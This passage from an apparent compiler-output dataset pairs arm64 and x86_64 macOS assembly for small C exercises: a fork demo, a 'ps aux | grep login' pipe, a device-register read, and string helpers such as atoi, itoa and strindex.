mov w0, #1
bl _sleep
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_6 Depth=1
ldr w8, [sp, #12]
subs w8, w8, #1
str w8, [sp, #12]
b LBB0_6
LBB0_9:
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "fork failed"
l_.str.1: ; @.str.1
.asciz "This is the child!\n"
l_.str.2: ; @.str.2
.asciz "This is the parent\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
callq _fork
movl %eax, -8(%rbp)
cmpl $0, -8(%rbp)
jge LBB0_2
## %bb.1:
leaq L_.str(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB0_2:
cmpl $0, -8(%rbp)
jne LBB0_4
## %bb.3:
leaq L_.str.1(%rip), %rax
movq %rax, -16(%rbp)
movl $6, -20(%rbp)
jmp LBB0_5
LBB0_4:
leaq L_.str.2(%rip), %rax
movq %rax, -16(%rbp)
movl $3, -20(%rbp)
LBB0_5:
jmp LBB0_6
LBB0_6: ## =>This Inner Loop Header: Depth=1
cmpl $0, -20(%rbp)
jl LBB0_9
## %bb.7: ## in Loop: Header=BB0_6 Depth=1
movq -16(%rbp), %rdi
movb $0, %al
callq _printf
movl $1, %edi
callq _sleep
## %bb.8: ## in Loop: Header=BB0_6 Depth=1
movl -20(%rbp), %eax
addl $-1, %eax
movl %eax, -20(%rbp)
jmp LBB0_6
LBB0_9:
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "fork failed"
L_.str.1: ## @.str.1
.asciz "This is the child!\n"
L_.str.2: ## @.str.2
.asciz "This is the parent\n"
.subsections_via_symbols
| the_stack_data/65737.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, _pipefd@GOTPAGE
ldr x0, [x0, _pipefd@GOTPAGEOFF]
str x0, [sp] ; 8-byte Folded Spill
adrp x8, _pid@GOTPAGE
ldr x8, [x8, _pid@GOTPAGEOFF]
str x8, [sp, #8] ; 8-byte Folded Spill
bl _pipe
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB0_2:
bl _fork
ldr x8, [sp, #8] ; 8-byte Folded Reload
str w0, [x8]
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB0_4:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5:
bl _exec1
b LBB0_6
LBB0_6:
b LBB0_7
LBB0_7:
bl _fork
ldr x8, [sp, #8] ; 8-byte Folded Reload
str w0, [x8]
adds w8, w0, #1
cset w8, ne
tbnz w8, #0, LBB0_9
b LBB0_8
LBB0_8:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _perror
mov w0, #1
bl _exit
LBB0_9:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_11
b LBB0_10
LBB0_10:
bl _exec2
b LBB0_11
LBB0_11:
b LBB0_12
LBB0_12:
ldr x8, [sp] ; 8-byte Folded Reload
ldr w0, [x8]
bl _close
ldr x8, [sp] ; 8-byte Folded Reload
ldr w0, [x8, #4]
bl _close
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _exec1 ; -- Begin function exec1
.p2align 2
_exec1: ; @exec1
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _pipefd@GOTPAGE
ldr x8, [x8, _pipefd@GOTPAGEOFF]
str x8, [sp, #16] ; 8-byte Folded Spill
ldr w0, [x8, #4]
mov w1, #1
stur w1, [x29, #-4] ; 4-byte Folded Spill
bl _dup2
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr w0, [x8]
bl _close
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr w0, [x8, #4]
bl _close
mov x8, sp
adrp x9, l_.str.2@PAGE
add x9, x9, l_.str.2@PAGEOFF
str x9, [x8]
; kill: def $x9 killed $xzr
str xzr, [x8, #8]
adrp x1, l_.str.1@PAGE
add x1, x1, l_.str.1@PAGEOFF
mov x0, x1
bl _execlp
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _perror
ldur w0, [x29, #-4] ; 4-byte Folded Reload
bl _exit
.cfi_endproc
; -- End function
.globl _exec2 ; -- Begin function exec2
.p2align 2
_exec2: ; @exec2
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _pipefd@GOTPAGE
ldr x8, [x8, _pipefd@GOTPAGEOFF]
stur x8, [x29, #-8] ; 8-byte Folded Spill
ldr w0, [x8]
mov w1, #0
bl _dup2
ldur x8, [x29, #-8] ; 8-byte Folded Reload
ldr w0, [x8]
bl _close
ldur x8, [x29, #-8] ; 8-byte Folded Reload
ldr w0, [x8, #4]
bl _close
mov x8, sp
adrp x9, l_.str.5@PAGE
add x9, x9, l_.str.5@PAGEOFF
str x9, [x8]
; kill: def $x9 killed $xzr
str xzr, [x8, #8]
adrp x1, l_.str.4@PAGE
add x1, x1, l_.str.4@PAGEOFF
mov x0, x1
bl _execlp
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _perror
mov w0, #1
bl _exit
.cfi_endproc
; -- End function
.comm _pipefd,8,2 ; @pipefd
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Error Init Pipe"
.comm _pid,4,2 ; @pid
l_.str.1: ; @.str.1
.asciz "ps"
l_.str.2: ; @.str.2
.asciz "aux"
l_.str.3: ; @.str.3
.asciz "Error with ps aux"
l_.str.4: ; @.str.4
.asciz "grep"
l_.str.5: ; @.str.5
.asciz "login"
l_.str.6: ; @.str.6
.asciz "Error with grep login"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _pipefd@GOTPCREL(%rip), %rdi
callq _pipe
cmpl $-1, %eax
jne LBB0_2
## %bb.1:
leaq L_.str(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB0_2:
callq _fork
movq _pid@GOTPCREL(%rip), %rcx
movl %eax, (%rcx)
cmpl $-1, %eax
jne LBB0_4
## %bb.3:
leaq L_.str(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB0_4:
movq _pid@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jne LBB0_6
## %bb.5:
callq _exec1
LBB0_6:
jmp LBB0_7
LBB0_7:
callq _fork
movq _pid@GOTPCREL(%rip), %rcx
movl %eax, (%rcx)
cmpl $-1, %eax
jne LBB0_9
## %bb.8:
leaq L_.str(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB0_9:
movq _pid@GOTPCREL(%rip), %rax
cmpl $0, (%rax)
jne LBB0_11
## %bb.10:
callq _exec2
LBB0_11:
jmp LBB0_12
LBB0_12:
movq _pipefd@GOTPCREL(%rip), %rax
movl (%rax), %edi
callq _close
movq _pipefd@GOTPCREL(%rip), %rax
movl 4(%rax), %edi
callq _close
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _exec1 ## -- Begin function exec1
.p2align 4, 0x90
_exec1: ## @exec1
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq _pipefd@GOTPCREL(%rip), %rax
movq %rax, -16(%rbp) ## 8-byte Spill
movl 4(%rax), %edi
movl $1, %esi
movl %esi, -4(%rbp) ## 4-byte Spill
callq _dup2
## kill: def $ecx killed $eax
movq -16(%rbp), %rax ## 8-byte Reload
movl (%rax), %edi
callq _close
## kill: def $ecx killed $eax
movq -16(%rbp), %rax ## 8-byte Reload
movl 4(%rax), %edi
callq _close
leaq L_.str.1(%rip), %rsi
leaq L_.str.2(%rip), %rdx
xorl %eax, %eax
movl %eax, %ecx
## kill: def $al killed $al killed $eax
movq %rsi, %rdi
callq _execlp
leaq L_.str.3(%rip), %rdi
callq _perror
movl -4(%rbp), %edi ## 4-byte Reload
callq _exit
.cfi_endproc
## -- End function
.globl _exec2 ## -- Begin function exec2
.p2align 4, 0x90
_exec2: ## @exec2
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq _pipefd@GOTPCREL(%rip), %rax
movq %rax, -16(%rbp) ## 8-byte Spill
movl (%rax), %edi
xorl %esi, %esi
movl %esi, -4(%rbp) ## 4-byte Spill
callq _dup2
## kill: def $ecx killed $eax
movq -16(%rbp), %rax ## 8-byte Reload
movl (%rax), %edi
callq _close
## kill: def $ecx killed $eax
movq -16(%rbp), %rax ## 8-byte Reload
movl 4(%rax), %edi
callq _close
## kill: def $ecx killed $eax
movl -4(%rbp), %eax ## 4-byte Reload
leaq L_.str.4(%rip), %rsi
leaq L_.str.5(%rip), %rdx
movl %eax, %ecx
## kill: def $al killed $al killed $eax
movq %rsi, %rdi
callq _execlp
leaq L_.str.6(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
.cfi_endproc
## -- End function
.comm _pipefd,8,2 ## @pipefd
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Error Init Pipe"
.comm _pid,4,2 ## @pid
L_.str.1: ## @.str.1
.asciz "ps"
L_.str.2: ## @.str.2
.asciz "aux"
L_.str.3: ## @.str.3
.asciz "Error with ps aux"
L_.str.4: ## @.str.4
.asciz "grep"
L_.str.5: ## @.str.5
.asciz "login"
L_.str.6: ## @.str.6
.asciz "Error with grep login"
.subsections_via_symbols
| the_stack_data/991769.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/85271.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _read_dev ; -- Begin function read_dev
.p2align 2
_read_dev: ; @read_dev
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #8]
ldr w8, [sp, #8]
mov x9, x8
mov x8, #4
movk x8, #65535, lsl #16
add x8, x8, x9, lsl #2
str x8, [sp]
ldr w8, [sp, #8]
subs w8, w8, #4
cset w8, lo
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
mov w8, #65535
str w8, [sp, #12]
b LBB0_8
LBB0_2:
b LBB0_3
LBB0_3: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp]
ldrh w8, [x8]
ands w8, w8, #0x3
cset w8, ne
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=1
b LBB0_3
LBB0_5:
ldr x8, [sp]
ldrh w8, [x8]
ands w8, w8, #0x1
cset w8, eq
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6:
ldr x9, [sp]
mov w8, #4
strh w8, [x9]
mov w8, #65535
str w8, [sp, #12]
b LBB0_8
LBB0_7:
ldr x8, [sp]
ldrb w8, [x8, #2]
str w8, [sp, #12]
b LBB0_8
LBB0_8:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _read_dev ## -- Begin function read_dev
.p2align 4, 0x90
_read_dev: ## @read_dev
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -8(%rbp)
movl -8(%rbp), %eax
movl %eax, %ecx
movl $4294901764, %eax ## imm = 0xFFFF0004
shlq $2, %rcx
addq %rcx, %rax
movq %rax, -16(%rbp)
cmpl $4, -8(%rbp)
jb LBB0_2
## %bb.1:
movl $65535, -4(%rbp) ## imm = 0xFFFF
jmp LBB0_8
LBB0_2:
jmp LBB0_3
LBB0_3: ## =>This Inner Loop Header: Depth=1
movq -16(%rbp), %rax
movzwl (%rax), %eax
andl $3, %eax
cmpl $0, %eax
jne LBB0_5
## %bb.4: ## in Loop: Header=BB0_3 Depth=1
jmp LBB0_3
LBB0_5:
movq -16(%rbp), %rax
movzwl (%rax), %eax
andl $1, %eax
cmpl $0, %eax
je LBB0_7
## %bb.6:
movq -16(%rbp), %rax
movw $4, (%rax)
movl $65535, -4(%rbp) ## imm = 0xFFFF
jmp LBB0_8
LBB0_7:
movq -16(%rbp), %rax
movzwl 2(%rax), %eax
andl $255, %eax
movl %eax, -4(%rbp)
LBB0_8:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/68887639.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
adrp x8, l_.str@PAGE
add x8, x8, l_.str@PAGEOFF
str x8, [sp]
ldr x0, [sp, #8]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "not a long"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
leaq L_.str(%rip), %rax
movq %rax, -16(%rbp)
movq -8(%rbp), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "not a long"
.subsections_via_symbols
| the_stack_data/512228.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _my_getline ; -- Begin function my_getline
.p2align 2
_my_getline: ; @my_getline
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur w1, [x29, #-12]
ldur x8, [x29, #-8]
str x8, [sp, #8]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
bl _getchar
str w0, [sp, #16]
adds w8, w0, #1
cset w8, eq
mov w9, #0
str w9, [sp, #4] ; 4-byte Folded Spill
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #16]
subs w8, w8, #10
cset w8, ne
str w8, [sp, #4] ; 4-byte Folded Spill
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #4] ; 4-byte Folded Reload
tbz w8, #0, LBB0_5
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #16]
ldr x9, [sp, #8]
add x10, x9, #1
str x10, [sp, #8]
strb w8, [x9]
b LBB0_1
LBB0_5:
ldr w8, [sp, #16]
subs w8, w8, #10
cset w8, ne
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6:
ldr w8, [sp, #16]
ldr x9, [sp, #8]
add x10, x9, #1
str x10, [sp, #8]
strb w8, [x9]
b LBB0_7
LBB0_7:
ldr x8, [sp, #8]
strb wzr, [x8]
ldr x8, [sp, #8]
ldur x9, [x29, #-8]
subs x8, x8, x9
mov x0, x8
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _atoi ; -- Begin function atoi
.p2align 2
_atoi: ; @atoi
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
str wzr, [sp, #4]
b LBB1_1
LBB1_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldrsb w8, [x8]
subs w8, w8, #48
cset w8, lt
mov w9, #0
str w9, [sp] ; 4-byte Folded Spill
tbnz w8, #0, LBB1_3
b LBB1_2
LBB1_2: ; in Loop: Header=BB1_1 Depth=1
ldr x8, [sp, #8]
ldrsb w8, [x8]
subs w8, w8, #57
cset w8, le
str w8, [sp] ; 4-byte Folded Spill
b LBB1_3
LBB1_3: ; in Loop: Header=BB1_1 Depth=1
ldr w8, [sp] ; 4-byte Folded Reload
tbz w8, #0, LBB1_5
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_1 Depth=1
ldr w9, [sp, #4]
mov w8, #10
mul w8, w8, w9
ldr x9, [sp, #8]
add x10, x9, #1
str x10, [sp, #8]
ldrsb w9, [x9]
subs w9, w9, #48
add w8, w8, w9
str w8, [sp, #4]
b LBB1_1
LBB1_5:
ldr w0, [sp, #4]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _reverse ; -- Begin function reverse
.p2align 2
_reverse: ; @reverse
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #24]
ldr x8, [sp, #24]
str x8, [sp, #8]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
add x9, x8, #1
str x9, [sp, #8]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB2_3
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
b LBB2_1
LBB2_3:
ldr x8, [sp, #8]
subs x8, x8, #2
str x8, [sp, #8]
b LBB2_4
LBB2_4: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldr x9, [sp, #24]
subs x8, x8, x9
cset w8, ls
tbnz w8, #0, LBB2_6
b LBB2_5
LBB2_5: ; in Loop: Header=BB2_4 Depth=1
ldr x8, [sp, #24]
ldrsb w8, [x8]
str w8, [sp, #20]
ldr x8, [sp, #8]
ldrb w8, [x8]
ldr x9, [sp, #24]
add x10, x9, #1
str x10, [sp, #24]
strb w8, [x9]
ldr w8, [sp, #20]
ldr x9, [sp, #8]
subs x10, x9, #1
str x10, [sp, #8]
strb w8, [x9]
b LBB2_4
LBB2_6:
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _itoa ; -- Begin function itoa
.p2align 2
_itoa: ; @itoa
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
str x1, [sp, #16]
ldr x8, [sp, #16]
str x8, [sp]
ldur w8, [x29, #-4]
str w8, [sp, #12]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB3_2
b LBB3_1
LBB3_1:
ldur w9, [x29, #-4]
mov w8, #0
subs w8, w8, w9
stur w8, [x29, #-4]
b LBB3_2
LBB3_2:
b LBB3_3
LBB3_3: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-4]
mov w10, #10
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
add w8, w8, #48
ldr x9, [sp, #16]
add x10, x9, #1
str x10, [sp, #16]
strb w8, [x9]
b LBB3_4
LBB3_4: ; in Loop: Header=BB3_3 Depth=1
ldur w8, [x29, #-4]
mov w9, #10
sdiv w8, w8, w9
stur w8, [x29, #-4]
subs w8, w8, #0
cset w8, gt
tbnz w8, #0, LBB3_3
b LBB3_5
LBB3_5:
ldr w8, [sp, #12]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB3_7
b LBB3_6
LBB3_6:
ldr x9, [sp, #16]
add x8, x9, #1
str x8, [sp, #16]
mov w8, #45
strb w8, [x9]
b LBB3_7
LBB3_7:
ldr x8, [sp, #16]
strb wzr, [x8]
ldr x0, [sp]
bl _reverse
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _strindex ; -- Begin function strindex
.p2align 2
_strindex: ; @strindex
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
str x0, [sp, #48]
str x1, [sp, #40]
ldr x8, [sp, #48]
str x8, [sp, #32]
b LBB4_1
LBB4_1: ; =>This Loop Header: Depth=1
; Child Loop BB4_3 Depth 2
ldr x8, [sp, #48]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB4_12
b LBB4_2
LBB4_2: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp, #48]
str x8, [sp, #24]
ldr x8, [sp, #40]
str x8, [sp, #16]
b LBB4_3
LBB4_3: ; Parent Loop BB4_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x8, [sp, #16]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, eq
mov w9, #0
str w9, [sp, #12] ; 4-byte Folded Spill
tbnz w8, #0, LBB4_5
b LBB4_4
LBB4_4: ; in Loop: Header=BB4_3 Depth=2
ldr x8, [sp, #24]
ldrsb w8, [x8]
ldr x9, [sp, #16]
ldrsb w9, [x9]
subs w8, w8, w9
cset w8, eq
str w8, [sp, #12] ; 4-byte Folded Spill
b LBB4_5
LBB4_5: ; in Loop: Header=BB4_3 Depth=2
ldr w8, [sp, #12] ; 4-byte Folded Reload
tbz w8, #0, LBB4_8
b LBB4_6
LBB4_6: ; in Loop: Header=BB4_3 Depth=2
b LBB4_7
LBB4_7: ; in Loop: Header=BB4_3 Depth=2
ldr x8, [sp, #24]
add x8, x8, #1
str x8, [sp, #24]
ldr x8, [sp, #16]
add x8, x8, #1
str x8, [sp, #16]
b LBB4_3
LBB4_8: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp, #16]
ldr x9, [sp, #40]
subs x8, x8, x9
cset w8, ls
tbnz w8, #0, LBB4_11
b LBB4_9
LBB4_9: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp, #16]
ldrsb w8, [x8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB4_11
b LBB4_10
LBB4_10:
ldr x8, [sp, #48]
ldr x9, [sp, #32]
subs x8, x8, x9
; kill: def $w8 killed $w8 killed $x8
str w8, [sp, #60]
b LBB4_13
LBB4_11: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp, #48]
add x8, x8, #1
str x8, [sp, #48]
b LBB4_1
LBB4_12:
mov w8, #-1
str w8, [sp, #60]
b LBB4_13
LBB4_13:
ldr w0, [sp, #60]
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, l_.str@PAGE
add x8, x8, l_.str@PAGEOFF
stur x8, [x29, #-8]
adrp x8, l_.str.1@PAGE
add x8, x8, l_.str.1@PAGEOFF
str x8, [sp, #16]
ldur x8, [x29, #-8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
str x0, [sp, #8] ; 8-byte Folded Spill
bl _printf
ldr x0, [sp, #8] ; 8-byte Folded Reload
ldr x8, [sp, #16]
mov x9, sp
str x8, [x9]
bl _printf
ldur x0, [x29, #-8]
ldr x1, [sp, #16]
bl _strindex
mov x9, sp
; implicit-def: $x8
mov x8, x0
str x8, [x9]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "I love bacon"
l_.str.1: ; @.str.1
.asciz "bacon"
l_.str.2: ; @.str.2
.asciz "\n%s"
l_.str.3: ; @.str.3
.asciz "\n%d"
l_.str.4: ; @.str.4
.asciz "\n\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _my_getline ## -- Begin function my_getline
.p2align 4, 0x90
_my_getline: ## @my_getline
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movq -8(%rbp), %rax
movq %rax, -24(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
callq _getchar
movl %eax, %ecx
movl %ecx, -16(%rbp)
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $-1, %ecx
movb %al, -25(%rbp) ## 1-byte Spill
je LBB0_3
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
cmpl $10, -16(%rbp)
setne %al
movb %al, -25(%rbp) ## 1-byte Spill
LBB0_3: ## in Loop: Header=BB0_1 Depth=1
movb -25(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB0_4
jmp LBB0_5
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
movl -16(%rbp), %eax
movb %al, %cl
movq -24(%rbp), %rax
movq %rax, %rdx
addq $1, %rdx
movq %rdx, -24(%rbp)
movb %cl, (%rax)
jmp LBB0_1
LBB0_5:
cmpl $10, -16(%rbp)
jne LBB0_7
## %bb.6:
movl -16(%rbp), %eax
movb %al, %cl
movq -24(%rbp), %rax
movq %rax, %rdx
addq $1, %rdx
movq %rdx, -24(%rbp)
movb %cl, (%rax)
LBB0_7:
movq -24(%rbp), %rax
movb $0, (%rax)
movq -24(%rbp), %rax
movq -8(%rbp), %rcx
subq %rcx, %rax
## kill: def $eax killed $eax killed $rax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _atoi ## -- Begin function atoi
.p2align 4, 0x90
_atoi: ## @atoi
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movl $0, -12(%rbp)
LBB1_1: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
movsbl (%rax), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $48, %ecx
movb %al, -13(%rbp) ## 1-byte Spill
jl LBB1_3
## %bb.2: ## in Loop: Header=BB1_1 Depth=1
movq -8(%rbp), %rax
movsbl (%rax), %eax
cmpl $57, %eax
setle %al
movb %al, -13(%rbp) ## 1-byte Spill
LBB1_3: ## in Loop: Header=BB1_1 Depth=1
movb -13(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB1_4
jmp LBB1_5
LBB1_4: ## in Loop: Header=BB1_1 Depth=1
imull $10, -12(%rbp), %eax
movq -8(%rbp), %rcx
movq %rcx, %rdx
addq $1, %rdx
movq %rdx, -8(%rbp)
movsbl (%rcx), %ecx
subl $48, %ecx
addl %ecx, %eax
movl %eax, -12(%rbp)
jmp LBB1_1
LBB1_5:
movl -12(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _reverse ## -- Begin function reverse
.p2align 4, 0x90
_reverse: ## @reverse
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq %rax, -24(%rbp)
